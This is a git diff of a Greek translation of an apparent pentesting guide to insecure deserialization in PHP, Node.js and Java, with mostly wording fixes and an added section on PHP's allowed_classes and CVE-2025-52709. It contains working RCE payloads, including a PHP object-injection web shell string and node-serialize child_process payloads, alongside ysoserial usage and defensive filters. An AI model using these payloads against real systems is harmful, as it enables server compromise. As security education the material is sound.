Translated ['src/pentesting-web/deserialization/README.md'] to el

This commit is contained in:
Translator 2025-08-10 14:37:18 +00:00
parent bf3506ec97
commit 7dd95b4177

View File

@ -74,19 +74,19 @@ This is a test<br />
*/
?>
```
Αν κοιτάξετε τα αποτελέσματα, μπορείτε να δείτε ότι οι συναρτήσεις **`__wakeup`** και **`__destruct`** καλούνται όταν το αντικείμενο αποδομείται. Σημειώστε ότι σε πολλές οδηγίες θα βρείτε ότι η συνάρτηση **`__toString`** καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά προφανώς αυτό **δεν συμβαίνει πια**.
Αν κοιτάξετε τα αποτελέσματα, μπορείτε να δείτε ότι οι συναρτήσεις **`__wakeup`** και **`__destruct`** καλούνται όταν το αντικείμενο αποδομείται. Σημειώστε ότι σε αρκετά tutorials θα βρείτε ότι η συνάρτηση **`__toString`** καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά προφανώς αυτό **δεν συμβαίνει πια**.
> [!WARNING]
> Η μέθοδος **`__unserialize(array $data)`** καλείται **αντί για `__wakeup()`** αν έχει υλοποιηθεί στην κλάση. Σας επιτρέπει να αποδομήσετε το αντικείμενο παρέχοντας τα σειριασμένα δεδομένα ως πίνακα. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να αποδομήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτε απαραίτητες εργασίες κατά την αποδόμηση.
>
> ```php
> class MyClass {
> private $property;
> private $property;
>
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // Εκτελέστε οποιεσδήποτε απαραίτητες εργασίες κατά την αποδόμηση.
> }
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // Εκτελέστε οποιεσδήποτε απαραίτητες εργασίες κατά την αποδόμηση.
> }
> }
> ```
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
### Serializing Referenced Values
Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως **αναφορά σε άλλη σειριοποιημένη τιμή**, μπορείτε:
Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως **αναφορά σε άλλη τιμή που έχει σειριοποιηθεί**, μπορείτε:
```php
<?php
class AClass {
@ -115,10 +115,62 @@ $o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### PHPGGC (ysoserial for PHP)
### Αποτροπή PHP Object Injection με `allowed_classes`
> [!INFO]
> Η υποστήριξη για το **δεύτερο επιχείρημα** της `unserialize()` (τον πίνακα `$options`) προστέθηκε στην **PHP 7.0**. Σε παλαιότερες εκδόσεις, η συνάρτηση δέχεται μόνο τη σειριοποιημένη συμβολοσειρά, καθιστώντας αδύνατη την περιορισμένη δημιουργία κλάσεων.
`unserialize()` θα **δημιουργήσει κάθε κλάση** που βρίσκει μέσα στο σειριοποιημένο ρεύμα, εκτός αν του πει κάτι διαφορετικό. Από την PHP 7, η συμπεριφορά μπορεί να περιοριστεί με την επιλογή [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
```php
// NEVER DO THIS full object instantiation
$object = unserialize($userControlledData);
// SAFER disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
```
Αν **`allowed_classes` παραλειφθεί _ή_ ο κώδικας εκτελείται σε PHP < 7.0**, η κλήση γίνεται **επικίνδυνη** καθώς ένας επιτιθέμενος μπορεί να δημιουργήσει ένα payload που εκμεταλλεύεται μαγικές μεθόδους όπως `__wakeup()` ή `__destruct()` για να επιτύχει Remote Code Execution (RCE).
#### Πραγματικό παράδειγμα: Everest Forms (WordPress) CVE-2025-52709
Το πρόσθετο WordPress **Everest Forms ≤ 3.2.2** προσπάθησε να είναι αμυντικό με έναν βοηθητικό wrapper αλλά ξέχασε τις παλιές εκδόσεις PHP:
```php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
```
Σε διακομιστές που εξακολουθούσαν να εκτελούν **PHP ≤ 7.0**, αυτός ο δεύτερος κλάδος οδήγησε σε μια κλασική **PHP Object Injection** όταν ένας διαχειριστής άνοιξε μια κακόβουλη υποβολή φόρμας. Ένα ελάχιστο payload εκμετάλλευσης θα μπορούσε να μοιάζει με:
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
Μόλις ο διαχειριστής είδε την καταχώρηση, το αντικείμενο δημιουργήθηκε και εκτελέστηκε το `SomeClass::__destruct()`, με αποτέλεσμα την εκτέλεση αυθαίρετου κώδικα.
**Σημαντικά σημεία**
1. Πάντα να περνάτε `['allowed_classes' => false]` (ή μια αυστηρή λευκή λίστα) όταν καλείτε το `unserialize()`.
2. Ελέγξτε τις αμυντικές περιτυλίξεις συχνά ξεχνούν τις κληρονομημένες PHP διακλαδώσεις.
3. Η αναβάθμιση σε **PHP ≥ 7.x** από μόνη της *δεν* είναι επαρκής: η επιλογή πρέπει να παρέχεται ρητά.
---
### PHPGGC (ysoserial για PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) μπορεί να σας βοηθήσει να δημιουργήσετε payloads για να εκμεταλλευτείτε τις PHP deserializations.\
Σημειώστε ότι σε πολλές περιπτώσεις **δεν θα μπορείτε να βρείτε έναν τρόπο να εκμεταλλευτείτε μια deserialization στον πηγαίο κώδικα** της εφαρμογής, αλλά μπορεί να μπορείτε να **εκμεταλλευτείτε τον κώδικα εξωτερικών PHP επεκτάσεων.**\
Σημειώστε ότι σε πολλές περιπτώσεις **δεν θα μπορείτε να βρείτε τρόπο να εκμεταλλευτείτε μια deserialization στον πηγαίο κώδικα** της εφαρμογής, αλλά μπορεί να μπορείτε να **εκμεταλλευτείτε τον κώδικα εξωτερικών PHP επεκτάσεων.**\
Έτσι, αν μπορείτε, ελέγξτε το `phpinfo()` του διακομιστή και **αναζητήστε στο διαδίκτυο** (ακόμα και στα **gadgets** του **PHPGGC**) κάποια πιθανά gadgets που θα μπορούσατε να εκμεταλλευτείτε.
### phar:// metadata deserialization
@ -172,7 +224,7 @@ python-yaml-deserialization.md
JS **δεν έχει "μαγικές" συναρτήσεις** όπως PHP ή Python που θα εκτελούνται μόνο και μόνο για να δημιουργήσουν ένα αντικείμενο. Αλλά έχει κάποιες **συναρτήσεις** που χρησιμοποιούνται **συχνά ακόμα και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\
Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτό το σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -234,7 +286,7 @@ console.log("Serialized: \n" + payload_serialized)
Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**.
Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\
Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιηθεί.\
Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\
Στο επόμενο κομμάτι κώδικα **προσέξτε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα:
```javascript
var serialize = require("node-serialize")
@ -243,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το `_$$ND_FUNC$$_` και θα **εκτελέσει** αυτόν χρησιμοποιώντας `eval`. Επομένως, για να **αυτοεκτελέσετε κώδικα** μπορείτε να **διαγράψετε το μέρος δημιουργίας της συνάρτησης** και την τελευταία παρένθεση και **να εκτελέσετε απλά μια JS oneliner** όπως στο παρακάτω παράδειγμα:
Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το `_$$ND_FUNC$$_` και θα **εκτελέσει** χρησιμοποιώντας το `eval`. Επομένως, για να **αυτοεκτελέσετε κώδικα** μπορείτε να **διαγράψετε το μέρος δημιουργίας της συνάρτησης** και την τελευταία παρένθεση και **να εκτελέσετε απλά μια JS oneliner** όπως στο παρακάτω παράδειγμα:
```javascript
var serialize = require("node-serialize")
var test =
@ -254,7 +306,7 @@ serialize.unserialize(test)
### [funcster](https://www.npmjs.com/package/funcster)
Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η μη προσβασιμότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η απροσβλητότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα:
```javascript
@ -288,7 +340,7 @@ function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **την εκμεταλλευτείτε εύκολα**:
Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **εκμεταλλευτείτε εύκολα**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -327,7 +379,7 @@ deserialize(test)
Δώστε ιδιαίτερη προσοχή σε:
- `XMLDecoder` που χρησιμοποιείται με παραμέτρους που ορίζονται από εξωτερικούς χρήστες.
- Τη μέθοδο `fromXML` του `XStream`, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι ευάλωτη σε ζητήματα serialization.
- Η μέθοδος `fromXML` του `XStream`, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι ευάλωτη σε ζητήματα serialization.
- `ObjectInputStream` σε συνδυασμό με τη μέθοδο `readObject`.
- Υλοποίηση μεθόδων όπως `readObject`, `readObjectNodData`, `readResolve`, ή `readExternal`.
- `ObjectInputStream.readUnshared`.
@ -357,7 +409,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Μπορείτε να προσπαθήσετε να **ελέγξετε όλες τις βιβλιοθήκες** που είναι γνωστό ότι είναι ευάλωτες και που [**Ysoserial**](https://github.com/frohoff/ysoserial) μπορεί να παρέχει μια εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που αναφέρονται στο [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Μπορείτε να προσπαθήσετε να **ελέγξετε όλες τις βιβλιοθήκες** που είναι γνωστό ότι είναι ευάλωτες και που [**Ysoserial**](https://github.com/frohoff/ysoserial) μπορεί να παρέχει μια εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που υποδεικνύονται στο [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Μπορείτε επίσης να χρησιμοποιήσετε [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) για να αναζητήσετε πιθανές αλυσίδες gadget που μπορούν να εκμεταλλευτούν.\
Όταν εκτελείτε το **gadgetinspector** (μετά την κατασκευή του) μην ανησυχείτε για τους τόνους προειδοποιήσεων/σφαλμάτων που περνάει και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα κάτω από _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Παρακαλώ, σημειώστε ότι **το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να υποδείξει ψευδώς θετικά αποτελέσματα**.
@ -376,14 +428,14 @@ grep -R InvokeTransformer .
**Serialization Test**
Δεν είναι όλα σχετικά με το αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο σειριασμένο αντικείμενο και να παρακάμψετε κάποιους ελέγχους** (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια webapp).\
Αν βρείτε ένα σειριασμένο αντικείμενο java που αποστέλλεται σε μια web εφαρμογή, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε με πιο αναγνώσιμο τρόπο το σειριασμένο αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
Δεν είναι όλα σχετικά με το αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο σειριακό αντικείμενο και να παρακάμψετε κάποιους ελέγχους** (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια εφαρμογή ιστού).\
Αν βρείτε ένα java σειριακό αντικείμενο που αποστέλλεται σε μια εφαρμογή ιστού, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε με πιο ανθρώπινα αναγνώσιμη μορφή το σειριακό αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
### **Exploit**
#### **ysoserial**
Το κύριο εργαλείο για την εκμετάλλευση των Java deserializations είναι [**ysoserial**](https://github.com/frohoff/ysoserial) ([**κατεβάστε το εδώ**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Μπορείτε επίσης να εξετάσετε τη χρήση του [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) που θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).\
Το κύριο εργαλείο για την εκμετάλλευση των Java deserializations είναι [**ysoserial**](https://github.com/frohoff/ysoserial) ([**κατεβάστε το εδώ**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Μπορείτε επίσης να εξετάσετε τη χρήση του [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) το οποίο θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).\
Σημειώστε ότι αυτό το εργαλείο είναι **εστιασμένο** στην εκμετάλλευση του **`ObjectInputStream`**.\
Θα **ξεκινούσα χρησιμοποιώντας το payload "URLDNS"** **πριν από ένα RCE** payload για να δοκιμάσω αν η ένεση είναι δυνατή. Ούτως ή άλλως, σημειώστε ότι ίσως το payload "URLDNS" να μην λειτουργεί αλλά κάποιο άλλο RCE payload να λειτουργεί.
```bash
@ -455,7 +507,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
Μπορείτε να **χρησιμοποιήσετε** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **μαζί με το ysoserial για να δημιουργήσετε περισσότερα exploits**. Περισσότερες πληροφορίες σχετικά με αυτό το εργαλείο στις **διαφάνειες της ομιλίας** όπου παρουσιάστηκε το εργαλείο: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
Μπορείτε να **χρησιμοποιήσετε** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **μαζί με το ysoserial για να δημιουργήσετε περισσότερους εκμεταλλεύσεις**. Περισσότερες πληροφορίες σχετικά με αυτό το εργαλείο στις **διαφάνειες της ομιλίας** όπου παρουσιάστηκε το εργαλείο: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
@ -475,7 +527,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
<type>pom</type>
</dependency>
```
**Εγκαταστήστε το maven** και **συγκεντρώστε** το έργο:
**Εγκαταστήστε το maven**, και **συγκεντρώστε** το έργο:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
@ -495,7 +547,7 @@ mvn clean package -DskipTests
- **HTTP requests**: Η serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ.
- **RMI (Remote Method Invocation)**: Το πρωτόκολλο Java RMI, το οποίο βασίζεται εξ ολοκλήρου στη serialization, είναι θεμέλιο για την απομακρυσμένη επικοινωνία σε εφαρμογές Java.
- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java που βασίζονται σε thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων.
- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java-based thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων.
- **JMX (Java Management Extensions)**: Το JMX χρησιμοποιεί serialization για τη μετάδοση αντικειμένων μέσω του δικτύου.
- **Custom Protocols**: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ακατέργαστων αντικειμένων Java, κάτι που θα αποδειχθεί σε επερχόμενα παραδείγματα εκμετάλλευσης.
@ -525,7 +577,7 @@ throw new java.io.IOException("Cannot be deserialized");
- Ο κώδικας αποσυμπίεσης είναι υπό τον έλεγχό σας.
- Οι κλάσεις που αναμένονται για αποσυμπίεση είναι γνωστές.
Επικαλύψτε τη μέθοδο **`resolveClass()`** για να περιορίσετε την αποσυμπίεση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυμπίεση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυμπίεση μόνο στην κλάση `Bicycle`:
Επαναφέρετε τη μέθοδο **`resolveClass()`** για να περιορίσετε την αποσυμπίεση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυμπίεση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυμπίεση μόνο στην κλάση `Bicycle`:
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -568,10 +620,10 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυναρμολόγησης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυναρμολόγηση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης.
**Εκμετάλλευση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως οι **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυμπίεσης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυμπίεση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης.
- **NotSoSerial** παρεμβαίνει στις διαδικασίες αποσυναρμολόγησης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
- **jdeserialize** επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυναρμολογεί, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου.
- **NotSoSerial** παρεμβαίνει στις διαδικασίες αποσυμπίεσης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
- **jdeserialize** επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυμπιέσει, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου.
- **Kryo** είναι ένα εναλλακτικό πλαίσιο σειριοποίησης που δίνει έμφαση στην ταχύτητα και την αποδοτικότητα, προσφέροντας ρυθμιζόμενες στρατηγικές σειριοποίησης που μπορούν να ενισχύσουν την ασφάλεια.
### Αναφορές
@ -598,7 +650,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> Η **Java Message Service** (**JMS**) API είναι μια Java API προσανατολισμένη σε μηνύματα για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων πελατών. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος παραγωγού-καταναλωτή. Η JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE) και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε στην Sun Microsystems, αλλά από τότε καθοδηγείται από τη διαδικασία της κοινότητας Java. Είναι ένα πρότυπο μηνυμάτων που επιτρέπει στα συστατικά εφαρμογών που βασίζονται σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών συστατικών μιας κατανεμημένης εφαρμογής να είναι χαλαρά συνδεδεμένη, αξιόπιστη και ασύγχρονη. (Από [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> Η **Java Message Service** (**JMS**) API είναι μια Java API προσανατολισμένη σε μηνύματα για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων πελατών. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος παραγωγού-καταναλωτή. Η JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE) και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε από την Sun Microsystems, αλλά από τότε καθοδηγείται από τη διαδικασία της κοινότητας Java. Είναι ένα πρότυπο μηνυμάτων που επιτρέπει στα συστατικά εφαρμογών που βασίζονται σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών συστατικών μιας κατανεμημένης εφαρμογής να είναι χαλαρά συνδεδεμένη, αξιόπιστη και ασύγχρονη. (Από [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Προϊόντα
@ -610,21 +662,23 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### Εκμετάλλευση
Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά προνόμια** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυναρμολογηθούν από τον καταναλωτή/συνδρομητή**.\
Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά προνόμια** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που θα σειριοποιηθούν και θα αποσυμπιεστούν από τον καταναλωτή/συνδρομητή**.\
Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι **πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**.
Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυναρμολογεί ανασφαλώς την είσοδο του χρήστη) θα χρειαστεί να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυμπιέζει ανασφαλώς την είσοδο του χρήστη) πρέπει ακόμα να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
Το εργαλείο [JMET](https://github.com/matthiaskaiser/jmet) δημιουργήθηκε για να **συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας διάφορα κακόβουλα αντικείμενα που έχουν σειριοποιηθεί χρησιμοποιώντας γνωστά gadgets**. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία είναι ακόμα ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets είναι μέσα στην ευάλωτη εφαρμογή.
Το εργαλείο [JMET](https://github.com/matthiaskaiser/jmet) δημιουργήθηκε για να **συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας αρκετά κακόβουλα αντικείμενα σειριοποιημένα χρησιμοποιώντας γνωστά gadgets**. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία είναι ακόμα ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets είναι μέσα στην ευάλωτη εφαρμογή.
### Αναφορές
- [Patchstack advisory Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
